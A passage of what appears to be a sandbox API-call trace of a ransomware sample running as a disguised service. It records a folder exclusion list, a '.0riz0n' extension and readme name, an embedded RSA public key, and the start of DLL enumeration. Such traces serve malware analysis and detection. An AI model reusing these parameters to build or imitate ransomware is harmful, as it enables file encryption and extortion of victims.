(HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x20) returned 0x30bc08 [0035.446] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d5e8) returned 1 [0035.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d298 [0035.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c168 [0035.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d2d8 [0035.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c1b0 [0035.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x8) returned 0x30d2c8 [0035.446] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c1f8 [0035.446] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c5e8) returned 1 [0035.446] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d248) returned 1 [0035.446] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c630) returned 1 [0035.446] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d238) returned 1 [0035.446] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c678) returned 1 [0035.446] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d228) returned 1 [0035.446] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c6c0) returned 1 [0035.446] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d218) returned 1 [0035.446] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c708) returned 1 [0035.446] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d208) returned 1 [0035.446] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c750) returned 1 [0035.446] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d1e8) returned 1 [0035.446] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c798) returned 1 [0035.446] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d1f8) returned 1 [0035.446] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed5058) returned 1 [0035.446] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30c1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0035.446] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30c1f8, cbMultiByte=25, lpWideCharStr=0x30dae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0035.446] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30c1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0035.446] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30c1b0, cbMultiByte=12, lpWideCharStr=0x30db68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0035.446] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30c168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0035.446] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30c168, cbMultiByte=8, lpWideCharStr=0x30dbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0035.446] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30c120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0035.446] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30c120, cbMultiByte=6, lpWideCharStr=0x30dc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0035.447] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30c240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0035.447] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30c240, cbMultiByte=11, lpWideCharStr=0x30dd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0035.447] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30c0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0035.447] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30c0d8, cbMultiByte=7, lpWideCharStr=0x30deb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0035.447] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30c288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0035.447] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30c288, cbMultiByte=11, lpWideCharStr=0x30df38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0035.447] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0xed2850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0035.447] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xed2850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0035.447] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xed2850, cbMultiByte=14, lpWideCharStr=0x30dfc0, cchWideChar=14 | out: lpWideCharStr="C:\\ProgramData") returned 14 [0035.447] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0xed2850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0035.447] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xed2850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0035.448] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xed2850, cbMultiByte=10, lpWideCharStr=0x30e048, cchWideChar=10 | out: lpWideCharStr="C:\\Windows") returned 10 [0035.448] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0xed2850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0035.448] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xed2850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0035.448] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xed2850, cbMultiByte=15, lpWideCharStr=0x30e0d0, cchWideChar=15 | out: lpWideCharStr="C:\\Windows\\TEMP") returned 15 [0035.448] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0xed2850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0035.448] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xed2850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0035.448] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xed2850, cbMultiByte=56, lpWideCharStr=0x30e158, cchWideChar=56 | out: lpWideCharStr="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 56 [0035.448] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xed5058, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0035.448] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xed5058, cbMultiByte=7, lpWideCharStr=0x30e1e0, cchWideChar=7 | out: lpWideCharStr=".0riz0n") returned 7 [0035.448] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xed5058, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0035.448] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xed5058, cbMultiByte=14, lpWideCharStr=0x30e268, cchWideChar=14 | out: lpWideCharStr=".0riz0n_readme") returned 14 [0035.448] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0035.448] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x26f93c, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x26f93c, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0035.449] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0xed7cf8, pcbBinary=0x26f93c, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0xed7cf8, pcbBinary=0x26f93c, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0035.449] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0xed7cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x26f93c | out: pvStructInfo=0x0, pcbStructInfo=0x26f93c) returned 1 [0035.453] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0xed7cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0xed7f40, pcbStructInfo=0x26f93c | out: pvStructInfo=0xed7f40, pcbStructInfo=0x26f93c) returned 1 [0035.453] CryptImportPublicKeyInfo (in: hCryptProv=0x44e390, dwCertEncodingType=0x10001, pInfo=0xed7f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0xed7f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0xed7f78*, PublicKey.cUnusedBits=0x0), phKey=0x26f940 | out: phKey=0x26f940*=0x452340) returned 1 [0035.454] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed7f40) returned 1 [0035.454] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed7cf8) returned 1 [0035.454] ReleaseMutex (hMutex=0xa0) returned 1 [0035.454] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed5058) returned 1 [0035.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2800) returned 0xed5058 [0035.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c900 [0035.454] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c900) returned 1 [0035.454] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed5058) returned 1 [0035.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2800) returned 0xed5058 [0035.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c900 [0035.454] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c900) returned 1 [0035.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c900 [0035.454] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30c900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0035.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e1e0 [0035.454] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30c900, cbMultiByte=9, lpWideCharStr=0x30e1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0035.454] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e268 [0035.454] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e1e0) returned 1 [0035.454] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e268) returned 1 [0035.454] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c900) returned 1 [0035.454] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed5058) returned 1 [0035.454] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed2850) returned 1 [0035.454] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.455] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d258) returned 1 [0035.455] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c240) returned 1 [0035.455] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d268) returned 1 [0035.455] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.455] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d278) returned 1 [0035.455] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.455] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d288) returned 1 [0035.455] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30d5e8) returned 1 [0035.455] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0035.455] StartServiceCtrlDispatcherW (lpServiceTable=0x26fa08*(lpServiceName="", lpServiceProc=0x83d040)) Thread: id = 311 os_tid = 0xa40 Thread: id = 312 os_tid = 0xa44 Thread: id = 313 os_tid = 0xa48 Thread: id = 314 os_tid = 0xa4c [0035.750] RegisterServiceCtrlHandlerW (lpServiceName="", lpHandlerProc=0x83ce51) returned 0x44e328 [0035.758] SetServiceStatus (hServiceStatus=0x44e328, lpServiceStatus=0x17afc80*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0035.873] GetCommandLineW () returned="C:\\Windows\\ehome\\ehRecvr.exe" [0035.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e268 [0035.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x5c) returned 0x30dd28 [0035.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e1e0 [0035.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e2f0 [0035.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e378 [0035.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e400 [0035.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e488 [0035.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e510 [0035.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e598 [0035.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e620 [0035.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e6a8 [0035.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e730 [0035.883] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e7b8 [0035.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed7cf8 [0035.887] GetSystemWow64DirectoryW (in: lpBuffer=0xed7cf8, uSize=0x40 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0035.889] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed7cf8) returned 1 [0035.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e840 [0035.904] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e840) returned 1 [0035.905] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e840 [0035.906] FindFirstFileExW (in: lpFileName="C:\\Windows\\SysWOW64\\\\*.dll", fInfoLevelId=0x1, lpFindFileData=0x17af9dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af9dc) returned 0x44fcd8 [0035.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.913] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x30c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AACLIENT.DLL", lpUsedDefaultChar=0x0) returned 12 [0035.917] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.917] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.917] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.918] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.919] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.920] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93cbbe2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93cbbe2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93d080eb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38e200, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="accessibilitycpl.dll", cAlternateFileName="")) returned 1 [0035.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0035.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x30c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCESSIBILITYCPL.DLL", lpUsedDefaultChar=0x0) returned 20 [0035.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.958] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c04678, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x89c04678, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf0e28ef0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="ACCTRES.dll", cAlternateFileName="")) returned 1 [0035.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x30c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCTRES.DLL", lpUsedDefaultChar=0x0) returned 11 [0035.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.958] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10f51da3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10f51da3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="acledit.dll", cAlternateFileName="")) returned 1 [0035.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLEDIT.DLL", lpUsedDefaultChar=0x0) returned 11 [0035.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.958] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.958] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d698b07, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x7d698b07, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="aclui.dll", cAlternateFileName="")) returned 1 [0035.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0035.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x30c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 